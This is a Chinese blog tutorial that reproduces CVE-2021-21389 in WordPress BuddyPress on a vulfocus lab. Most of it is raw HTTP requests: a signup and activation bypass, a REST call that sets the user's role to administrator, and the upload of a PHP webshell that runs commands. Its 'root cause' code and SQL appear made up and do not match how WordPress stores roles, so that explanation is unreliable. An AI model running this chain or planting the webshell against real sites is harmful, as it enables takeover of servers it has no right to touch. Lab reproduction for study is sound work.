当前位置: 首页 > java >正文

wordpress 垂直越权(CVE=2021-21389)漏洞复现详细教程

关于本地化搭建vulfocus靶场的师傅可以参考我置顶文章

KALI搭建log4j2靶场及漏洞复现全流程-CSDN博客https://blog.csdn.net/2301_78255681/article/details/147286844

描述:

BuddyPress 是一个用于构建社区站点的开源 WordPress 插件。在 7.2.1 之前的 5.0.0 版本的 BuddyPress 中,非特权普通用户可以通过利用 REST API 成员端点中的问题来获得管理员权限。该漏洞已在 BuddyPress 7.2.1 中修复。插件的现有安装应更新到此版本以缓解问题。

一、启动环境

也可以在vulfocus官网启动靶场环境

Vulfocus 漏洞威胁分析平台Vulfocus 是一个漏洞集成平台,将docker 漏洞镜像,放入即可使用,开箱即用的平台,可以用于漏洞复现,POC验证,EXP验证,快速搭建启动漏洞环境,同时也是一个在线的漏洞学习平台,提供在线靶场,环境编排功能,进行环境模拟供学习,攻防挑战等需求。https://vulfocus.cn/#/dashboard

二、注册绕过

1、直接刷新页面,使用抓包工具进行抓包,Burp和Yakit均可

2、构造发包:POST /wp-json/buddypress/v1/signup

{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}

注意:Host换成自己的ip和端口

POST //wp-json/buddypress/v1/signup HTTP/1.1
Host:192.168.217.133:26855
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: python-requests/2.24.0
Accept: */*
Content-Type: application/json; charset=UTF-8
Content-Length: 109{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}

3、然后将响应包中的activation_key取出来,放在后边构造的PUT请求包中

4、BuddyPress的注册原理

在BuddyPress的默认设计中,用户注册通常分为两步:

1.注册提交

当用户提交注册信息时,BuddyPress会生成一个activation_key,并将其与用户数据临时存储在数据库(如wp_signups表)中

2.账户激活

系统向用户邮箱发送包含activation_key的激活连接,用户点击链接后账户才正式生效
而这里将该key提取出来,核心目的是为了绕过安全机制,直接激活账户以触发漏洞

5、进行下一步操作,构造PUT请求包:

将取出来的activation_key放在PUT的请求中

PUT //wp-json/buddypress/v1/signup/activate/49KzwHGdKAgoWBXtaGTdqSnm9QtFx7oT HTTP/1.1
Host:192.168.217.133:19376
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: python-requests/2.24.0
Accept: */*
Content-Type: application/json; charset=UTF-8
Content-Length: 109{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}

这里通过使用activation_key能够绕过邮箱激活链接,使攻击者能够直接激活账户

6、使用账号密码登录test1121/test1121

登录后是这样的

可以点击Demo查看面板,此时是没有高级权限的

三、获取admin权限

1、替换自己的ip和端口,访问下面的地址

http://192.168.217.133:57659/groups/create/step/group-details/

2、填写下面的Details,添加组

然后点击create,自动跳转到Settings模块,都是默认,继续点击next

自动跳转到Photo,继续点击Next

继续Next

最后到Invite模块,点击finish完成

3、设置好之后直接回到了groups界面

4、然后先点击manage,再点击members,再次打开抓包工具,开启抓包后,再点击ban

5、此时需要取出请求包中的两个参数,一个是X-WP-Nonce 一个是Cookie,将这两个值记下来

6、构造下面的请求包,将X-WP-Nonce 和 Cookie的值替换成自己的

POST /wp-json/buddypress/v1/members/me HTTP/1.1
Host: 192.168.217.133:19376
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-WP-Nonce: 71999ef68f
Content-Type: application/json; charset=UTF-8
Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTQ1MzA4LCJlbWFpbCI6IiJ9.RkOT3h1AzirdlB-RN9OSfPVismumNoCGrENtOUtHaIs; ktqnjecmsdodbdata=empirecms; ktqnjloginuserid=1; ktqnjloginusername=admin; ktqnjloginrnd=J2XvVbuHIv5BfVrMIDim; ktqnjloginlevel=1; ktqnjeloginlic=empirecmslic; ktqnjloginadminstyleid=1; ktqnjloginecmsckpass=7f1aa1c376cc977d244d25af64a54347; ktqnjloginecmsckfrnd=m5EidbxgfVYuDBinbbwFo2Ir5dZ; ktqnjloginecmsckfdef=OE0fuOEG9V2uLycAHfJkJ6; ktqnjemecoHaFTxxc=t1FbqgENKaPMabKCPx; ktqnjtruelogintime=1744861011; ktqnjlogintime=1744861734; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_28e00d2a0f302adaf322ea313ba8376a=test1121%7C1746112309%7CWroNqMD0d7pS5A9HbOisd2bP2WX3rldP0ATXUFWP6dT%7Ce56495a997dbcb0236bd0395a1fd3d4e80ae325ad12758d39eb80ef812493ce4; wp-settings-time-2=1744902901; wp-settings-2=mfold%3Do; wordpress_logged_in_c0ae86529b9441a65c60771475231199=test1121%7C1745076515%7CzULZkXkgWVEPRJ2qwL5XaezdZOejeCEwnlRsTLnU6bZ%7Cee9d7bd05ec2c9eb213dbcf8be768e04c6fc8f342fe9121640089c2f54cf30b4
Content-Length: 26{"roles": "administrator"}

7、放包之后就有管理员的权限了,再次打开Demo面板就成这样的界面了

8、提权原理

不要着急下一步,回顾一下提权过程每一步,对于这一系列操作后面的利用逻辑才是我们需要学习的。

在提权到admin的过程中:我们首先进行了分组操作,让自己置于一个组下。这样做有什么作用呢?

BuddyPress在members端点中未对敏感字段(如roles)进行分组隔离或权限校验,导致普通用户可直接修改这些字段!获得的X-WP-Nonce和Cookie只是为了验证我们的身份,然后在members/me端点下,因其未限制敏感字段roles,导致我们可以直接修改roles的值提权到admin,而在底层代码,bp_rest_update_member中

function bp_rest_update_member($request) {$user_id = get_current_user_id(); // 获取当前用户 ID$params = $request->get_params();// 直接更新用户数据,未校验字段合法性wp_update_user(['ID' => $user_id,'role' => $params['roles'] // 漏洞点:允许普通用户修改角色]);
}

而后续的wp_update_user 函数也未进行二次校验权限,直接将角色写入数据库

UPDATE wp_users SET role = 'administrator' WHERE ID = <user_id>;

这才导致了垂直越权

四,上传木马,获取shell

1、利用plugin更新来上传我们的一句话木马文件,来到Demo面板,点击Plugins模块,点击Add New

2、继续点击Upload Plugin,可以看到让我们选择文件上传

3、测试发现是可以直接上传.php文件的,我们直接上传c.php木马文件

木马文件的内容为:

Content-Disposition: form-data; name="pluginzip"; filename="c.php"Content-Type: text/php<?phpsystem($_GET[cmd]);?>

3、选择所有文件,找到要上传的php木马文件

4、选择后点击,install Now上传

上传成功显示的是

5、直接来到/wp-content/uploads/2025/ 中查看上传的文件

6、点击c.php再传参数,c.php?cmd=id 就成功执行命令了

http://www.xdnf.cn/news/155.html

相关文章:

  • PHP腾讯云人脸核身获取FaceId
  • 《AI大模型应知应会100篇》第24篇:限定输出格式:如何让AI回答更加结构化
  • GCD算法的学习
  • 第三阶段面试题
  • Git常用命令分类汇总
  • 如何学习和研究量子计算与量子计算机:从理论到实践的完整路径
  • MySQL+Redis实战教程:从Docker安装部署到自动化备份与数据恢复20250418
  • Qt官方案例知识点总结(图形视图——Colliding Mice)
  • 人脸扫描黑科技:多相机人脸扫描设备,打造你的专属数字分身
  • 学术AI工具推荐
  • 基于WebRTC技术的EasyRTC:支持任意平台设备的实时音视频通信解决方案
  • 科技天眼守望农田:珈和卫星遥感监测赋能智慧农业,护航粮食安全新未来
  • 替代升级VMware | 云轴科技ZStack构建山西证券一云多芯云平台
  • python有序列表
  • Excel提取图片并自动上传到文件服务器(OOS),获取文件链接
  • Docker用model.config部署及更新多个模型
  • 【基础知识补充】标准库类型:string和vector
  • JDBC 与 MyBatis 详解:从基础到实践
  • 07_Docker 资源限制
  • 软件研发技术团队管理规范
  • 安卓手机如何改ip地址教程
  • ETL数据集成平台在交通运输行业的五大应用场景
  • 旅游资源网站登录(jsp+ssm+mysql5.x)
  • LeetCode 259 题全解析:Swift 快速找出“满足条件”的三人组
  • RocketMQ 的详细使用教程
  • 【多目标进化算法】NSGA-II 算法(结合例子)
  • 【C++】 —— 笔试刷题day_19
  • Web3架构下的数据隐私与保护
  • 【数据结构_10】二叉树(2)
  • HarmonyOS:1.4 - HarmonyOS应用程序框架基础